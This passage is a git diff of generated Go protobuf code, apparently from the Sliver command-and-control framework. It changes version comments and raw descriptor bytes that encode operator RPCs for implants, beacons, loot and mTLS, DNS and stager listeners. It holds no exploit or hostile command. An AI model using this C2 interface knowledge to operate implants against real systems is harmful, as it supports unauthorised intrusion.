sensitive so certain fields are re-purposed -//depending on the DNSMessageType as noted below: -// -//[Type TOTP]: ID field is used for the TOTP code -// +// [Type TOTP]: ID field is used for the TOTP code type DNSMessage struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache diff --git a/protobuf/rpcpb/services.pb.go b/protobuf/rpcpb/services.pb.go index 0ce82cc45e..dafd208cd1 100644 --- a/protobuf/rpcpb/services.pb.go +++ b/protobuf/rpcpb/services.pb.go @@ -1,7 +1,7 @@ // Code generated by protoc-gen-go. DO NOT EDIT. // versions: -// protoc-gen-go v1.27.1 -// protoc v3.21.12 +// protoc-gen-go v1.31.0 +// protoc v3.15.8 // source: rpcpb/services.proto package rpcpb @@ -31,636 +31,648 @@ var file_rpcpb_services_proto_rawDesc = []byte{ 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x15, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x15, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2f, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x2e, 0x70, 0x72, 0x6f, - 0x74, 0x6f, 0x32, 0x9c, 0x4e, 0x0a, 0x09, 0x53, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x52, 0x50, 0x43, + 0x74, 0x6f, 0x32, 0xdd, 0x4f, 0x0a, 0x09, 0x53, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x52, 0x50, 0x43, 0x12, 0x30, 0x0a, 0x0a, 0x47, 0x65, 0x74, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x56, 0x65, 0x72, 0x73, 0x69, - 0x6f, 0x6e, 0x12, 0x37, 0x0a, 0x09, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x4c, 0x6f, 0x67, 0x12, - 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x6c, 0x69, 0x65, 0x6e, - 0x74, 0x4c, 0x6f, 0x67, 0x44, 0x61, 0x74, 0x61, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, - 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x28, 0x01, 0x12, 0x34, 0x0a, 0x0c, 0x47, - 0x65, 0x74, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, - 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x13, 0x2e, 0x63, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, - 0x73, 0x12, 0x2a, 0x0a, 0x04, 0x4b, 0x69, 0x6c, 0x6c, 0x12, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, - 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4b, 0x69, 0x6c, 0x6c, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x63, - 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x3e, 0x0a, - 0x0b, 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x75, 0x72, 0x65, 0x12, 0x18, 0x2e, 0x73, - 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x66, 0x69, 0x67, - 0x75, 0x72, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, - 0x62, 0x2e, 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x75, 0x72, 0x65, 0x12, 0x2e, 0x0a, - 0x06, 0x52, 0x65, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x70, 0x62, 0x2e, 0x52, 0x65, 0x6e, 0x61, 0x6d, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x63, - 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x32, 0x0a, - 0x0b, 0x47, 0x65, 0x74, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x0f, 0x2e, 0x63, - 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x12, 0x2e, - 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, - 0x73, 0x12, 0x30, 0x0a, 0x0a, 0x47, 0x65, 0x74, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x73, 0x12, + 0x6f, 0x6e, 0x12, 0x2c, 0x0a, 0x08, 0x47, 0x65, 0x74, 0x55, 0x73, 0x65, 0x72, 0x73, 0x12, 0x0f, + 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, + 0x0f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x55, 0x73, 0x65, 0x72, 0x73, + 0x12, 0x37, 0x0a, 0x09, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x4c, 0x6f, 0x67, 0x12, 0x17, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x4c, + 0x6f, 0x67, 0x44, 0x61, 0x74, 0x61, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, + 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x28, 0x01, 0x12, 0x2a, 0x0a, 0x04, 0x4b, 0x69, 0x6c, + 0x6c, 0x12, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4b, 0x69, 0x6c, + 0x6c, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, + 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x3e, 0x0a, 0x0b, 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x66, 0x69, + 0x67, 0x75, 0x72, 0x65, 0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, + 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x75, 0x72, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x15, + 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x66, + 0x69, 0x67, 0x75, 0x72, 0x65, 0x12, 0x2e, 0x0a, 0x06, 0x52, 0x65, 0x6e, 0x61, 0x6d, 0x65, 0x12, + 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x6e, 0x61, 0x6d, + 0x65, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, + 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x3d, 0x0a, 0x0e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, + 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x12, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, + 0x64, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, + 0x74, 0x79, 0x28, 0x01, 0x12, 0x40, 0x0a, 0x11, 0x47, 0x65, 0x74, 0x49, 0x6d, 0x70, 0x6c, 0x61, + 0x6e, 0x74, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x12, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x1a, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, + 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x12, 0x32, 0x0a, 0x0b, 0x47, 0x65, 0x74, 0x53, 0x65, 0x73, + 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, + 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, + 0x62, 0x2e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x30, 0x0a, 0x0a, 0x47, 0x65, + 0x74, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, + 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x73, 0x12, 0x2f, 0x0a, 0x09, + 0x47, 0x65, 0x74, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x12, 0x10, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x1a, 0x10, 0x2e, 0x63, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x12, 0x2d, 0x0a, + 0x08, 0x52, 0x6d, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x12, 0x10, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, + 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x39, 0x0a, 0x0e, + 0x47, 0x65, 0x74, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x12, 0x10, + 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, + 0x1a, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, + 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x12, 0x42, 0x0a, 0x14, 0x47, 0x65, 0x74, 0x42, 0x65, + 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, + 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, + 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x1a, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, + 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x3e, 0x0a, 0x10, 0x43, + 0x61, 0x6e, 0x63, 0x65, 0x6c, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x12, + 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, + 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x1a, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, + 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x33, 0x0a, 0x0c, 0x4d, + 0x6f, 0x6e, 0x69, 0x74, 0x6f, 0x72, 0x53, 0x74, 0x61, 0x72, 0x74, 0x12, 0x0f, 0x2e, 0x63, 0x6f, + 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x12, 0x2e, 0x63, + 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, + 0x12, 0x2f, 0x0a, 0x0b, 0x4d, 0x6f, 0x6e, 0x69, 0x74, 0x6f, 0x72, 0x53, 0x74, 0x6f, 0x70, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, - 0x1a, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, - 0x6f, 0x6e, 0x73, 0x12, 0x2f, 0x0a, 0x09, 0x47, 0x65, 0x74, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, - 0x12, 0x10, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, - 0x6f, 0x6e, 0x1a, 0x10, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, - 0x61, 0x63, 0x6f, 0x6e, 0x12, 0x2d, 0x0a, 0x08, 0x52, 0x6d, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, - 0x12, 0x10, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, - 0x6f, 0x6e, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, - 0x70, 0x74, 0x79, 0x12, 0x39, 0x0a, 0x0e, 0x47, 0x65, 0x74, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, - 0x54, 0x61, 0x73, 0x6b, 0x73, 0x12, 0x10, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, - 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x1a, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x12, 0x42, - 0x0a, 0x14, 0x47, 0x65, 0x74, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x43, - 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, - 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x1a, 0x14, 0x2e, 0x63, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, - 0x73, 0x6b, 0x12, 0x3e, 0x0a, 0x10, 0x43, 0x61, 0x6e, 0x63, 0x65, 0x6c, 0x42, 0x65, 0x61, 0x63, - 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, - 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x1a, 0x14, 0x2e, 0x63, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, - 0x73, 0x6b, 0x12, 0x33, 0x0a, 0x0c, 0x4d, 0x6f, 0x6e, 0x69, 0x74, 0x6f, 0x72, 0x53, 0x74, 0x61, - 0x72, 0x74, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, - 0x70, 0x74, 0x79, 0x1a, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, - 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x2f, 0x0a, 0x0b, 0x4d, 0x6f, 0x6e, 0x69, 0x74, - 0x6f, 0x72, 0x53, 0x74, 0x6f, 0x70, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, - 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, - 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x2a, 0x0a, 0x07, 0x47, 0x65, 0x74, 0x4a, - 0x6f, 0x62, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, - 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, - 0x4a, 0x6f, 0x62, 0x73, 0x12, 0x32, 0x0a, 0x07, 0x4b, 0x69, 0x6c, 0x6c, 0x4a, 0x6f, 0x62, 0x12, - 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4b, 0x69, 0x6c, 0x6c, 0x4a, - 0x6f, 0x62, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, - 0x2e, 0x4b, 0x69, 0x6c, 0x6c, 0x4a, 0x6f, 0x62, 0x12, 0x46, 0x0a, 0x11, 0x53, 0x74, 0x61, 0x72, - 0x74, 0x4d, 0x54, 0x4c, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x19, 0x2e, - 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x54, 0x4c, 0x53, 0x4c, 0x69, 0x73, - 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, - 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x54, 0x4c, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, - 0x12, 0x40, 0x0a, 0x0f, 0x53, 0x74, 0x61, 0x72, 0x74, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x65, - 0x6e, 0x65, 0x72, 0x12, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, - 0x47, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x14, 0x2e, 0x63, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, - 0x65, 0x72, 0x12, 0x43, 0x0a, 0x10, 0x53, 0x74, 0x61, 0x72, 0x74, 0x44, 0x4e, 0x53, 0x4c, 0x69, - 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, - 0x62, 0x2e, 0x44, 0x4e, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, - 0x1a, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x44, 0x4e, 0x53, 0x4c, - 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x47, 0x0a, 0x12, 0x53, 0x74, 0x61, 0x72, 0x74, - 0x48, 0x54, 0x54, 0x50, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x19, 0x2e, - 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x54, 0x54, 0x50, 0x4c, 0x69, 0x73, - 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, - 0x74, 0x70, 0x62, 0x2e, 0x48, 0x54, 0x54, 0x50, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, - 0x12, 0x46, 0x0a, 0x11, 0x53, 0x74, 0x61, 0x72, 0x74, 0x48, 0x54, 0x54, 0x50, 0x4c, 0x69, 0x73, - 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, - 0x2e, 0x48, 0x54, 0x54, 0x50, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, - 0x1a, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x54, 0x54, 0x50, - 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x4f, 0x0a, 0x16, 0x53, 0x74, 0x61, 0x72, - 0x74, 0x54, 0x43, 0x50, 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, - 0x65, 0x72, 0x12, 0x1b, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x74, - 0x61, 0x67, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, - 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x61, 0x67, 0x65, - 0x72, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x50, 0x0a, 0x17, 0x53, 0x74, 0x61, - 0x72, 0x74, 0x48, 0x54, 0x54, 0x50, 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, - 0x65, 0x6e, 0x65, 0x72, 0x12, 0x1b, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, - 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, - 0x71, 0x1a, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x61, - 0x67, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x29, 0x0a, 0x07, 0x4c, - 0x6f, 0x6f, 0x74, 0x41, 0x64, 0x64, 0x12, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, - 0x62, 0x2e, 0x4c, 0x6f, 0x6f, 0x74, 0x1a, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, - 0x62, 0x2e, 0x4c, 0x6f, 0x6f, 0x74, 0x12, 0x29, 0x0a, 0x06, 0x4c, 0x6f, 0x6f, 0x74, 0x52, 0x6d, - 0x12, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x6f, 0x6f, 0x74, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, - 0x79, 0x12, 0x2c, 0x0a, 0x0a, 0x4c, 0x6f, 0x6f, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, + 0x79, 0x12, 0x2a, 0x0a, 0x07, 0x47, 0x65, 0x74, 0x4a, 0x6f, 0x62, 0x73, 0x12, 0x0f, 0x2e, 0x63, + 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x0e, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4a, 0x6f, 0x62, 0x73, 0x12, 0x32, 0x0a, + 0x07, 0x4b, 0x69, 0x6c, 0x6c, 0x4a, 0x6f, 0x62, 0x12, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x70, 0x62, 0x2e, 0x4b, 0x69, 0x6c, 0x6c, 0x4a, 0x6f, 0x62, 0x52, 0x65, 0x71, 0x1a, 0x11, + 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4b, 0x69, 0x6c, 0x6c, 0x4a, 0x6f, + 0x62, 0x12, 0x46, 0x0a, 0x11, 0x53, 0x74, 0x61, 0x72, 0x74, 0x4d, 0x54, 0x4c, 0x53, 0x4c, 0x69, + 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, + 0x62, 0x2e, 0x4d, 0x54, 0x4c, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, + 0x71, 0x1a, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x54, 0x4c, + 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x40, 0x0a, 0x0f, 0x53, 0x74, 0x61, + 0x72, 0x74, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x17, 0x2e, 0x63, + 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, + 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, + 0x2e, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x43, 0x0a, 0x10, 0x53, + 0x74, 0x61, 0x72, 0x74, 0x44, 0x4e, 0x53, 0x4c, 